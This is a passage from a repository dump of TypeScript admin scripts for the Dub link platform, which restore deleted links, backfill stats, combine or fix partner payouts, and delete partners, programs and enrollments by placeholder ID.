    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk, parseFilterValue } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\nimport { getAnalytics } from \"../../lib/analytics/get-analytics\";\n\nlet linksToRestore: { id: string }[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"deleted_links.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        link_id: string;\n      };\n    }) => {\n      linksToRestore.push({ id: result.data.link_id });\n    },\n    complete: async () => {\n      console.log(`Found ${linksToRestore.length} links to restore`);\n\n      const chunks = chunk(linksToRestore, 200);\n      for (let i = 0; i < chunks.length; i++) {\n        const chunk = chunks[i];\n        const linkIds = chunk.map((link) => link.id!);\n        const stats = await getAnalytics({\n          event: \"composite\",\n          groupBy: \"top_links\",\n          linkId: parseFilterValue(linkIds),\n          interval: \"1y\",\n        });\n        if (stats.length === 0) {\n          console.log(\n            `No stats found for links in batch ${i + 1} of ${chunks.length}`,\n          );\n          continue;\n        }\n        console.log(\n          `Stats found for links in batch ${i + 1} of ${chunks.length}`,\n        );\n\n        const linksToBackfill = stats.map((stat) => ({\n          id: stat.id,\n          clicks: stat.clicks,\n          leads: stat.leads,\n          conversions: Math.min(stat.leads, stat.sales),\n          sales: stat.sales,\n          saleAmount: stat.saleAmount,\n        }));\n        await Promise.all(\n          linksToBackfill.map(async (link) => {\n            const res = await prisma.link.update({\n              where: { id: link.id },\n              data: {\n                clicks: link.clicks,\n                leads: link.leads,\n                conversions: link.conversions,\n                sales: link.sales,\n                saleAmount: link.saleAmount,\n              },\n            });\n            console.log(\n              `Updated ${link.id} to ${res.clicks} clicks, ${res.leads} leads, ${res.conversions} conversions, ${res.sales} sales, ${res.saleAmount} saleAmount`,\n            );\n          }),\n        );\n\n        console.log(\n          `Backfilled stats for ${linksToBackfill.length} links in batch ${i + 1} of ${chunks.length}`,\n        );\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/restore-links.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { chunk, getParamsFromURL, linkConstructorSimple } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\nlet linksToRestore: Prisma.LinkCreateManyInput[] = [];\nlet linkTagsToRestore: Prisma.LinkTagCreateManyInput[] = [];\n\nasync function main() {\n  Papa.parse(fs.createReadStream(\"deleted_links.csv\", \"utf-8\"), {\n    header: true,\n    skipEmptyLines: true,\n    step: (result: {\n      data: {\n        link_id: string;\n        domain: string;\n        key: string;\n        url: string;\n        tag_ids: string;\n        workspace_id: string;\n        created_at: string;\n        program_id: string;\n        partner_id: string;\n        folder_id: string;\n      };\n    }) => {\n      const userId = \"user_xxx\";\n      if (!userId) {\n        throw new Error(\"No user id found for link\");\n      }\n      const { utm_source, utm_medium, utm_campaign, utm_term, utm_content } =\n        getParamsFromURL(result.data.url);\n      const tagIds: string[] = result.data.tag_ids\n        ? JSON.parse(result.data.tag_ids.replace(/'/g, '\"'))\n        : [];\n\n      linksToRestore.push({\n        id: result.data.link_id,\n        domain: result.data.domain,\n        key: result.data.key,\n        url: result.data.url,\n        shortLink: linkConstructorSimple({\n          domain: result.data.domain,\n          key: result.data.key,\n        }),\n        projectId: result.data.workspace_id,\n        createdAt: new Date(result.data.created_at),\n        programId: result.data.program_id || null,\n        partnerId: result.data.partner_id || null,\n        folderId: result.data.folder_id || null,\n        utm_source,\n        utm_medium,\n        utm_campaign,\n        utm_term,\n        utm_content,\n        userId,\n        trackConversion: true,\n      });\n\n      if (tagIds.length > 0) {\n        tagIds.forEach((tagId) => {\n          linkTagsToRestore.push({\n            linkId: result.data.link_id,\n            tagId,\n          });\n        });\n      }\n    },\n    complete: async () => {\n      console.log(`Found ${linksToRestore.length} links to restore`);\n\n      const chunks = chunk(linksToRestore, 500);\n      for (const chunk of chunks) {\n        const res = await prisma.link.createMany({\n          data: chunk,\n          skipDuplicates: true,\n        });\n        console.log(`Created ${res.count} links (out of ${chunk.length})`);\n      }\n\n      const linkTagsChunks = chunk(linkTagsToRestore, 500);\n      for (const chunk of linkTagsChunks) {\n        const res = await prisma.linkTag.createMany({\n          data: chunk,\n          skipDuplicates: true,\n        });\n        console.log(`Created ${res.count} link tags (out of ${chunk.length})`);\n      }\n    },\n  });\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/restore-program-enrollments.ts",
    "content": "/*\nTo use this file, first update packages/prisma/index.ts to the following:\n\nimport { PrismaClient } from \"@prisma/client\";\nimport \"dotenv-flow/config\";\n\nexport const prisma = new PrismaClient({\n  datasources: {\n    db: {\n      url: process.env.DATABASE_URL,\n    },\n  },\n});\n\nexport const prismaOld = new PrismaClient({\n  datasources: {\n    db: {\n      url: process.env.DATABASE_URL_OLD,\n    },\n  },\n});\n\nThen, replace `prisma as prismaOld` below with just `prismaOld`\n*/\n\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\n// import { prisma, prismaOld } from \"@dub/prisma\";\nimport { prisma, prisma as prismaOld } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { stripeAppClient } from \"../../lib/stripe\";\nimport { recordLink } from \"../../lib/tinybird\";\n\nasync function main() {\n  const partnerId = \"pn_xxx\";\n\n  const programEnrollmentsToRestore =\n    await prismaOld.programEnrollment.findMany({\n      where: {\n        partnerId,\n      },\n    });\n\n  const res = await prisma.programEnrollment.createMany({\n    data: programEnrollmentsToRestore,\n  });\n  console.log(`Restored ${res.count} program enrollments`);\n\n  // Restore payouts first (commissions may reference payoutId)\n  const payoutsToRestore = await prismaOld.payout.findMany({\n    where: { partnerId },\n  });\n  if (payoutsToRestore.length > 0) {\n    const { count: createdPayoutsCount } = await prisma.payout.createMany({\n      data: payoutsToRestore,\n      skipDuplicates: true,\n    });\n    console.log(`Restored ${createdPayoutsCount} payouts`);\n  }\n\n  const commissionsToRestore = await prismaOld.commission.findMany({\n    where: { partnerId },\n  });\n  if (commissionsToRestore.length > 0) {\n    const { count: createdCommissionsCount } =\n      await prisma.commission.createMany({\n        data: commissionsToRestore,\n        skipDuplicates: true,\n      });\n    console.log(`Restored ${createdCommissionsCount} commissions`);\n  }\n\n  const messagesToRestore = await prismaOld.message.findMany({\n    where: { partnerId },\n  });\n  if (messagesToRestore.length > 0) {\n    const { count: createdMessagesCount } = await prisma.message.createMany({\n      data: messagesToRestore,\n      skipDuplicates: true,\n    });\n    console.log(`Restored ${createdMessagesCount} messages`);\n  }\n\n  const bountySubmissionsToRestore = await prismaOld.bountySubmission.findMany({\n    where: { partnerId },\n  });\n  if (bountySubmissionsToRestore.length > 0) {\n    const { count: createdBountySubmissionsCount } =\n      await prisma.bountySubmission.createMany({\n        data: bountySubmissionsToRestore as never,\n        skipDuplicates: true,\n      });\n    console.log(`Restored ${createdBountySubmissionsCount} bounty submissions`);\n  }\n\n  const activityLogsToRestore = await prismaOld.activityLog.findMany({\n    where: {\n      resourceType: \"partner\",\n      resourceId: partnerId,\n    },\n  });\n  if (activityLogsToRestore.length > 0) {\n    const { count: createdActivityLogsCount } =\n      await prisma.activityLog.createMany({\n        data: activityLogsToRestore as never,\n        skipDuplicates: true,\n      });\n    console.log(`Restored ${createdActivityLogsCount} activity logs`);\n  }\n\n  const linksToRestore = await prismaOld.link.findMany({\n    where: { partnerId },\n  });\n  if (linksToRestore.length > 0) {\n    const { count: createdLinksCount } = await prisma.link.createMany({\n      data: linksToRestore as never,\n      skipDuplicates: true,\n    });\n    console.log(`Restored ${createdLinksCount} links`);\n\n    const linkTagsToRestore = await prismaOld.linkTag.findMany({\n      where: { linkId: { in: linksToRestore.map((link) => link.id) } },\n    });\n    const { count: createdLinkTagsCount } = await prisma.linkTag.createMany({\n      data: linkTagsToRestore as never,\n      skipDuplicates: true,\n    });\n    console.log(`Restored ${createdLinkTagsCount} link tags`);\n\n    const restoredLinks = await prisma.link.findMany({\n      where: { partnerId },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n    });\n\n    const tbRes = await recordLink(restoredLinks);\n    console.log(\"tbRes\", tbRes);\n\n    const customersToRestore = await prismaOld.customer.findMany({\n      where: { linkId: { in: linksToRestore.map((link) => link.id) } },\n    });\n    if (customersToRestore.length > 0) {\n      const { count: createdCustomersCount } = await prisma.customer.createMany(\n        {\n          data: customersToRestore as never,\n          skipDuplicates: true,\n        },\n      );\n      console.log(`Restored ${createdCustomersCount} customers`);\n    }\n  }\n\n  const discountCodesToRestore = await prismaOld.discountCode.findMany({\n    where: { partnerId },\n  });\n  if (discountCodesToRestore.length > 0) {\n    const { count: createdDiscountCodesCount } =\n      await prisma.discountCode.createMany({\n        data: discountCodesToRestore,\n        skipDuplicates: true,\n      });\n    console.log(`Restored ${createdDiscountCodesCount} discount codes`);\n\n    for (const discountCode of discountCodesToRestore) {\n      const workspace = await prisma.project.findUniqueOrThrow({\n        where: {\n          defaultProgramId: discountCode.programId,\n        },\n        select: {\n          stripeConnectId: true,\n        },\n      });\n\n      if (!workspace.stripeConnectId) {\n        console.log(\n          `Workspace for program ${discountCode.programId} not found`,\n        );\n        continue;\n      }\n\n      const promotionCodes = await stripeAppClient({\n        mode: \"live\",\n      }).promotionCodes.list(\n        {\n          code: discountCode.code,\n          limit: 1,\n        },\n        {\n          stripeAccount: workspace.stripeConnectId,\n        },\n      );\n\n      if (promotionCodes.data.length === 0) {\n        console.log(`Promotion code ${discountCode.code} not found`);\n        continue;\n      }\n\n      const promotionCode = promotionCodes.data[0];\n\n      const res = await stripeAppClient({ mode: \"live\" }).promotionCodes.update(\n        promotionCode.id,\n        {\n          active: true,\n        },\n        {\n          stripeAccount: workspace.stripeConnectId,\n        },\n      );\n      console.log(`Restored promotion code ${JSON.stringify(res, null, 2)}`);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/misc/restore-program-folders.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { recordLink } from \"../../lib/tinybird/record-link\";\n\nasync function main() {\n  const deactivatedPrograms = await prisma.program.findMany({\n    where: {\n      deactivatedAt: {\n        not: null,\n      },\n    },\n    select: {\n      id: true,\n      slug: true,\n      workspaceId: true,\n      defaultFolderId: true,\n      workspace: {\n        select: {\n          id: true,\n          users: {\n            select: {\n              id: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  for (const program of deactivatedPrograms) {\n    if (program.workspace.users.length === 0) {\n      console.log(`No users found for workspace ${program.workspaceId}`);\n      continue;\n    }\n\n    await prisma.folder.upsert({\n      where: {\n        id: program.defaultFolderId,\n      },\n      create: {\n        id: program.defaultFolderId,\n        name: \"Partner Links\",\n        projectId: program.workspaceId,\n        accessLevel: \"write\",\n        users: {\n          create: {\n            userId: program.workspace.users[0].id,\n            role: \"owner\",\n          },\n        },\n      },\n      update: {},\n    });\n\n    while (true) {\n      const linksToUpdate = await prisma.link.findMany({\n        where: {\n          programId: program.id,\n          folderId: null,\n        },\n        take: 250,\n      });\n\n      if (linksToUpdate.length === 0) {\n        break;\n      }\n\n      const res = await prisma.link.updateMany({\n        where: {\n          id: { in: linksToUpdate.map((link) => link.id) },\n        },\n        data: { folderId: program.defaultFolderId },\n      });\n      console.log(`Updated ${res.count} links`);\n\n      const updatedLinks = await prisma.link.findMany({\n        where: {\n          id: { in: linksToUpdate.map((link) => link.id) },\n        },\n        include: {\n          ...includeTags,\n          ...includeProgramEnrollment,\n        },\n      });\n\n      const tbRes = await recordLink(updatedLinks);\n      console.log(\"tbRes\", tbRes);\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/move-links-to-folder.ts",
    "content": "import { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { includeTags } from \"../lib/api/links/include-tags\";\nimport { recordLink } from \"../lib/tinybird\";\n\n// Move the program links to a folder.\nasync function main() {\n  const workspaceId = \"xxx\";\n  const folderId = \"fold_xxx\";\n\n  const links = await prisma.link.findMany({\n    where: {\n      projectId: workspaceId,\n      programId: {\n        not: null,\n      },\n      folderId: null,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (links.length === 0) {\n    console.log(\"No links found.\");\n    return;\n  }\n\n  console.log(links);\n\n  await prisma.link.updateMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n    data: { folderId },\n  });\n\n  const updatedLinks = await prisma.link.findMany({\n    where: {\n      id: {\n        in: links.map((link) => link.id),\n      },\n    },\n    include: {\n      ...includeTags,\n      ...includeProgramEnrollment,\n    },\n  });\n\n  console.table(updatedLinks);\n\n  const res = await recordLink(updatedLinks);\n  console.log(res);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/aggregate-stats-seeding.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { publishPartnerActivityEvent } from \"../../lib/upstash/redis-streams\";\n\n// Seeding script to seed the partner stats with activity\nasync function main() {\n  const partnerLinksWithActivity = await prisma.link.groupBy({\n    by: [\"partnerId\", \"programId\"],\n    where: {\n      programId: {\n        not: null,\n      },\n      partnerId: {\n        not: null,\n      },\n      clicks: {\n        gt: 0,\n      },\n    },\n    _sum: {\n      clicks: true,\n      leads: true,\n      conversions: true,\n      sales: true,\n      saleAmount: true,\n    },\n    orderBy: {\n      _sum: {\n        saleAmount: \"desc\",\n      },\n    },\n  });\n\n  console.log(partnerLinksWithActivity.length);\n  console.table(\n    partnerLinksWithActivity.slice(0, 10).map((p) => ({\n      partnerId: p.partnerId,\n      programId: p.programId,\n      clicks: p._sum.clicks,\n      leads: p._sum.leads,\n      conversions: p._sum.conversions,\n      sales: p._sum.sales,\n      saleAmount: p._sum.saleAmount,\n    })),\n  );\n\n  const BATCH = 9;\n  const batchedPartnerLinksWithActivity = partnerLinksWithActivity.slice(\n    BATCH * 5000,\n    (BATCH + 1) * 5000,\n  );\n  await Promise.all(\n    batchedPartnerLinksWithActivity.map(async (partnerLink) => {\n      await publishPartnerActivityEvent({\n        partnerId: partnerLink.partnerId!,\n        programId: partnerLink.programId!,\n        eventType: \"click\",\n        timestamp: new Date().toISOString(),\n      });\n    }),\n  );\n  console.log(\n    `Seeded ${batchedPartnerLinksWithActivity.length} partner links with activity`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/check-pending-paypal-payouts.ts",
    "content": "import { getPendingPaypalPayouts } from \"@/lib/paypal/get-pending-payouts\";\nimport {\n  COUNTRIES,\n  PAYPAL_SUPPORTED_COUNTRIES,\n  currencyFormatter,\n} from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  console.log(\"Checking pending PayPal payouts...\");\n  console.log(\n    \"PayPal supported countries:\",\n    PAYPAL_SUPPORTED_COUNTRIES,\n    PAYPAL_SUPPORTED_COUNTRIES.map((country) => COUNTRIES[country]),\n  );\n\n  const payouts = await getPendingPaypalPayouts();\n\n  const finalPayouts = payouts.map((payout) => ({\n    program: payout.program.name,\n    partner: payout.partner.email,\n    status: payout.status,\n    country: payout.partner.country,\n    amount: payout.amount,\n  }));\n\n  console.table(finalPayouts);\n  console.log(`Total eligible payouts: ${finalPayouts.length}`);\n  console.log(\n    `Total eligble payout amount: ${currencyFormatter(finalPayouts.reduce((acc, payout) => acc + payout.amount, 0))}`,\n  );\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/combine-payouts.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\n// One time script to combine old payouts for a partner\nasync function main() {\n  const pendingPayouts = await prisma.payout.groupBy({\n    by: [\"programId\", \"partnerId\"],\n    where: {\n      status: \"pending\",\n    },\n    _count: {\n      id: true,\n    },\n    having: {\n      id: {\n        _count: {\n          gte: 2,\n        },\n      },\n    },\n  });\n\n  console.table(pendingPayouts);\n\n  const chunks = chunk(pendingPayouts, 50);\n  // Combine payouts\n  for (const chunk of chunks) {\n    await Promise.all(\n      chunk.map(async ({ programId, partnerId }) => {\n        const payoutsToCombine = await prisma.payout.findMany({\n          where: {\n            programId,\n            partnerId,\n            status: \"pending\",\n          },\n          orderBy: {\n            createdAt: \"asc\",\n          },\n        });\n\n        console.log(\n          `Combining ${payoutsToCombine.length} payouts for partner ${partnerId}`,\n        );\n\n        const periodStart = payoutsToCombine.reduce(\n          (earliest, payout) =>\n            payout.periodStart && earliest && payout.periodStart < earliest\n              ? payout.periodStart\n              : earliest,\n          payoutsToCombine[0].periodStart || new Date(),\n        );\n\n        const periodEnd = payoutsToCombine.reduce(\n          (latest, payout) =>\n            payout.periodEnd && latest && payout.periodEnd > latest\n              ? payout.periodEnd\n              : latest,\n          payoutsToCombine[0].periodEnd || new Date(),\n        );\n\n        const totalAmount = payoutsToCombine.reduce(\n          (sum, payout) => sum + payout.amount,\n          0,\n        );\n\n        // Update the first payout with the combined data\n        const combinedPayout = await prisma.payout.update({\n          where: {\n            id: payoutsToCombine[0].id,\n          },\n          data: {\n            amount: totalAmount,\n            periodStart,\n            periodEnd,\n          },\n        });\n\n        // Update all commissions to point to the new combined payout\n        const commissions = await prisma.commission.updateMany({\n          where: {\n            payoutId: {\n              in: payoutsToCombine.map((p) => p.id),\n            },\n          },\n          data: {\n            payoutId: combinedPayout.id,\n          },\n        });\n\n        console.log({ commissions });\n\n        // Delete the old payouts\n        const deletedPayouts = await prisma.payout.deleteMany({\n          where: {\n            id: {\n              in: payoutsToCombine.slice(1).map((p) => p.id),\n            },\n          },\n        });\n\n        console.log({ deletedPayouts });\n      }),\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/delete-partner-profile.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { bulkDeleteLinks } from \"../../lib/api/links/bulk-delete-links\";\nimport { stripeConnectClient } from \"../stripe/connect-client\";\n\nasync function main() {\n  const partner = await prisma.partner.findUniqueOrThrow({\n    where: {\n      id: \"pn_xxx\",\n    },\n    include: {\n      programs: {\n        select: {\n          links: true,\n        },\n      },\n    },\n  });\n\n  if (partner.programs.length > 0) {\n    const programEnrollment = partner.programs[0];\n\n    if (programEnrollment.links.length === 0) {\n      throw new Error(\"Program has no links\");\n    }\n\n    const links = programEnrollment.links;\n\n    const deleteLinkCaches = await bulkDeleteLinks(links);\n    console.log(\"Deleted link caches\", deleteLinkCaches);\n\n    const deletedCustomers = await prisma.customer.deleteMany({\n      where: {\n        linkId: {\n          in: links.map((link) => link.id),\n        },\n      },\n    });\n    console.log(\"Deleted customers\", deletedCustomers);\n\n    const deletedCommissions = await prisma.commission.deleteMany({\n      where: {\n        partnerId: partner.id,\n      },\n    });\n    console.log(\"Deleted commissions\", deletedCommissions);\n\n    const deletedPayouts = await prisma.payout.deleteMany({\n      where: {\n        partnerId: partner.id,\n      },\n    });\n    console.log(\"Deleted payouts\", deletedPayouts);\n\n    const deletedLinks = await prisma.link.deleteMany({\n      where: {\n        id: {\n          in: links.map((link) => link.id),\n        },\n      },\n    });\n    console.log(\"Deleted links\", deletedLinks);\n  }\n\n  const deletedPartner = await prisma.partner.delete({\n    where: {\n      id: partner.id,\n    },\n  });\n  console.log(\"Deleted partner\", deletedPartner);\n\n  if (partner.stripeConnectId) {\n    const res = await stripeConnectClient.accounts.del(partner.stripeConnectId);\n    console.log(\"Deleted Stripe account\", partner.stripeConnectId, res);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/delete-partners-for-program.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { bulkDeleteLinks } from \"../../lib/api/links/bulk-delete-links\";\n\nconst programId = \"prog_\";\n\nasync function main() {\n  const currentProgramEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n    },\n    include: {\n      links: true,\n    },\n    take: 500,\n  });\n\n  const otherProgramEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partnerId: {\n        in: currentProgramEnrollments.map((p) => p.partnerId),\n      },\n      programId: {\n        not: programId,\n      },\n    },\n  });\n\n  console.log({\n    currentProgramEnrollments: currentProgramEnrollments.length,\n    otherProgramEnrollments: otherProgramEnrollments.length,\n  });\n\n  const finalPartnersToDelete = currentProgramEnrollments.filter(\n    // make sure partner is not enrolled in any other program\n    // make sure the sum of all links' leads count is 0\n    (p) =>\n      otherProgramEnrollments.every((o) => o.partnerId !== p.partnerId) &&\n      p.links.reduce((acc, link) => acc + link.leads, 0) === 0,\n  );\n\n  console.log(\"finalPartnersToDelete\", finalPartnersToDelete.length);\n\n  await bulkDeleteLinks(finalPartnersToDelete.flatMap((p) => p.links));\n\n  const deleteLinkPrisma = await prisma.link.deleteMany({\n    where: {\n      id: {\n        in: finalPartnersToDelete.flatMap((p) => p.links.map((l) => l.id)),\n      },\n    },\n  });\n\n  console.log(\"deleteLinkPrisma\", deleteLinkPrisma);\n\n  const deletePartners = await prisma.partner.deleteMany({\n    where: {\n      id: {\n        in: finalPartnersToDelete.map((p) => p.partnerId),\n      },\n    },\n  });\n\n  console.log(\"deletePartners\", deletePartners);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/delete-program-application.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  const partner = await prisma.partner.findUniqueOrThrow({\n    where: {\n      id: \"pn_xxx\",\n    },\n    include: {\n      programs: {\n        select: {\n          id: true,\n          applicationId: true,\n        },\n      },\n    },\n  });\n\n  const programEnrollment = partner.programs[0];\n\n  const deleteProgramEnrollment = await prisma.programEnrollment.delete({\n    where: {\n      id: programEnrollment.id,\n    },\n  });\n\n  console.log(\"Deleted program enrollment\", deleteProgramEnrollment);\n\n  if (programEnrollment.applicationId) {\n    const deleteProgramApplication = await prisma.programApplication.delete({\n      where: {\n        id: programEnrollment.applicationId,\n      },\n    });\n\n    console.log(\"Deleted program application\", deleteProgramApplication);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/delete-program-enrollment.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport { bulkDeleteLinks } from \"../../lib/api/links/bulk-delete-links\";\n\nasync function main() {\n  const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n    where: {\n      partnerId_programId: {\n        partnerId: \"pn_xx\",\n        programId: \"prog_xx\",\n      },\n    },\n    include: {\n      links: true,\n    },\n  });\n\n  await bulkDeleteLinks(programEnrollment.links);\n\n  const deleteLinkPrisma = await prisma.link.deleteMany({\n    where: {\n      id: {\n        in: programEnrollment.links.map((l) => l.id),\n      },\n    },\n  });\n\n  console.log(\"deleteLinkPrisma\", deleteLinkPrisma);\n\n  const deleteProgramEnrollment = await prisma.programEnrollment.delete({\n    where: {\n      id: programEnrollment.id,\n    },\n  });\n\n  console.log(\"deleteProgramEnrollment\", deleteProgramEnrollment);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/delete-program.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { R2_URL } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\nimport { storage } from \"../../lib/storage\";\n\nasync function main() {\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: \"prog_xxx\",\n    },\n  });\n\n  await prisma.$transaction(\n    async (tx) => {\n      const deletedCommissions = await tx.commission.deleteMany({\n        where: {\n          programId: program.id,\n        },\n      });\n      console.log(\"Deleted commissions\", deletedCommissions);\n\n      const deletedPayouts = await tx.payout.deleteMany({\n        where: {\n          programId: program.id,\n        },\n      });\n      console.log(\"Deleted payouts\", deletedPayouts);\n\n      const deletedRewards = await tx.reward.deleteMany({\n        where: {\n          programId: program.id,\n        },\n      });\n      console.log(\"Deleted rewards\", deletedRewards);\n\n      const deletedDiscounts = await tx.discount.deleteMany({\n        where: {\n          programId: program.id,\n        },\n      });\n\n      console.log(\"Deleted discounts\", deletedDiscounts);\n\n      const deletedPartnerGroups = await tx.partnerGroup.deleteMany({\n        where: {\n          programId: program.id,\n        },\n      });\n      console.log(\"Deleted partner groups\", deletedPartnerGroups);\n\n      const deletedProgramEnrollments = await tx.programEnrollment.deleteMany({\n        where: {\n          programId: program.id,\n        },\n      });\n      console.log(\"Deleted program enrollments\", deletedProgramEnrollments);\n\n      const deletedFolder = await tx.folder.delete({\n        where: {\n          id: program.defaultFolderId,\n        },\n      });\n      console.log(\"Deleted folder\", deletedFolder);\n\n      const updatedLinks = await tx.link.updateMany({\n        where: {\n          programId: program.id,\n        },\n        data: {\n          programId: null,\n        },\n      });\n      console.log(\"Updated links\", updatedLinks);\n\n      const updatedProject = await prisma.project.update({\n        where: {\n          id: program.workspaceId,\n        },\n        data: {\n          defaultProgramId: null,\n        },\n      });\n      console.log(\"Updated project\", updatedProject);\n    },\n    {\n      maxWait: 10000, // default: 2000\n      timeout: 20000, // default: 5000\n    },\n  );\n\n  if (program.logo) {\n    const deletedLogo = await storage.delete({\n      key: program.logo.replace(`${R2_URL}/`, \"\"),\n    });\n\n    console.log(\"Deleted logo\", deletedLogo);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/export-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\nimport * as fs from \"fs\";\nimport * as Papa from \"papaparse\";\n\n// export partners for a program\nasync function main() {\n  const partners = await prisma.programEnrollment\n    .findMany({\n      where: {\n        programId: \"prog_xxx\",\n        status: \"approved\",\n      },\n      select: {\n        partner: {\n          select: {\n            name: true,\n            email: true,\n          },\n        },\n      },\n    })\n    .then((partners) => partners.map(({ partner }) => partner));\n\n  console.log(`Exporting ${partners.length} partners`);\n\n  fs.writeFileSync(\"partners.csv\", Papa.unparse(partners));\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/fix-partner-groups.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport \"dotenv-flow/config\";\n\n// fix approved partners with no groups\nasync function main() {\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      slug: \"acme\",\n    },\n    include: {\n      groups: {\n        where: {\n          slug: \"default\",\n        },\n      },\n    },\n  });\n\n  const group = program.groups[0];\n\n  if (!group) {\n    console.log(\"No default group found\");\n    return;\n  }\n\n  const partnersMissingGroup = await prisma.programEnrollment.findMany({\n    where: {\n      programId: program.id,\n      status: \"approved\",\n      groupId: null,\n    },\n    include: {\n      links: true,\n    },\n  });\n\n  console.log(`Found ${partnersMissingGroup.length} partners missing group`);\n  console.table(partnersMissingGroup);\n\n  const updateMany = await prisma.programEnrollment.updateMany({\n    where: {\n      id: {\n        in: partnersMissingGroup.map((partner) => partner.id),\n      },\n    },\n    data: {\n      groupId: group.id,\n      clickRewardId: group.clickRewardId,\n      leadRewardId: group.leadRewardId,\n      saleRewardId: group.saleRewardId,\n      discountId: group.discountId,\n    },\n  });\n\n  console.log(`Updated ${updateMany.count} partners`);\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/fix-partner-payouts.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { chunk } from \"@dub/utils\";\nimport \"dotenv-flow/config\";\n\nasync function main() {\n  let batch = 1;\n  const BATCH_SIZE = 5000;\n  while (true) {\n    const payouts = await prisma.payout.findMany({\n      where: {\n        status: \"pending\",\n      },\n      take: BATCH_SIZE,\n      skip: (batch - 1) * BATCH_SIZE,\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n    if (payouts.length === 0) {\n      console.log(\"No more payouts to process\");\n      break;\n    }\n\n    console.log(`Processing batch #${batch} of 22`);\n\n    const aggregatedPayouts = await prisma.commission.groupBy({\n      by: [\"payoutId\"],\n      where: {\n        payoutId: {\n          in: payouts.map((payout) => payout.id),\n        },\n      },\n      _sum: {\n        earnings: true,\n      },\n    });\n    const payoutIdToActualAmount = aggregatedPayouts.reduce(\n      (acc, payout) => {\n        if (payout.payoutId) {\n          acc[payout.payoutId] = payout._sum.earnings ?? 0;\n        }\n        return acc;\n      },\n      {} as Record<string, number>,\n    );\n\n    const payoutsToUpdate = payouts\n      .filter((payout) => payoutIdToActualAmount[payout.id] !== payout.amount)\n      .map((payout) => ({\n        id: payout.id,\n        amount: payoutIdToActualAmount[payout.id] ?? 0,\n      }));\n\n    console.log(`Found ${payoutsToUpdate.length} payouts to update`);\n    console.table(payoutsToUpdate.slice(0, 10));\n\n    const chunks = chunk(payoutsToUpdate, 100);\n    for (const chunk of chunks) {\n      await Promise.all(\n        chunk.map(async (payout) => {\n          await prisma.payout.update({\n            where: { id: payout.id },\n            data: { amount: payout.amount },\n          });\n        }),\n      );\n    }\n    batch++;\n  }\n}\n\nmain();\n"
  },
  {
    "path": "apps/web/scripts/partners/get-largest-programs.ts",
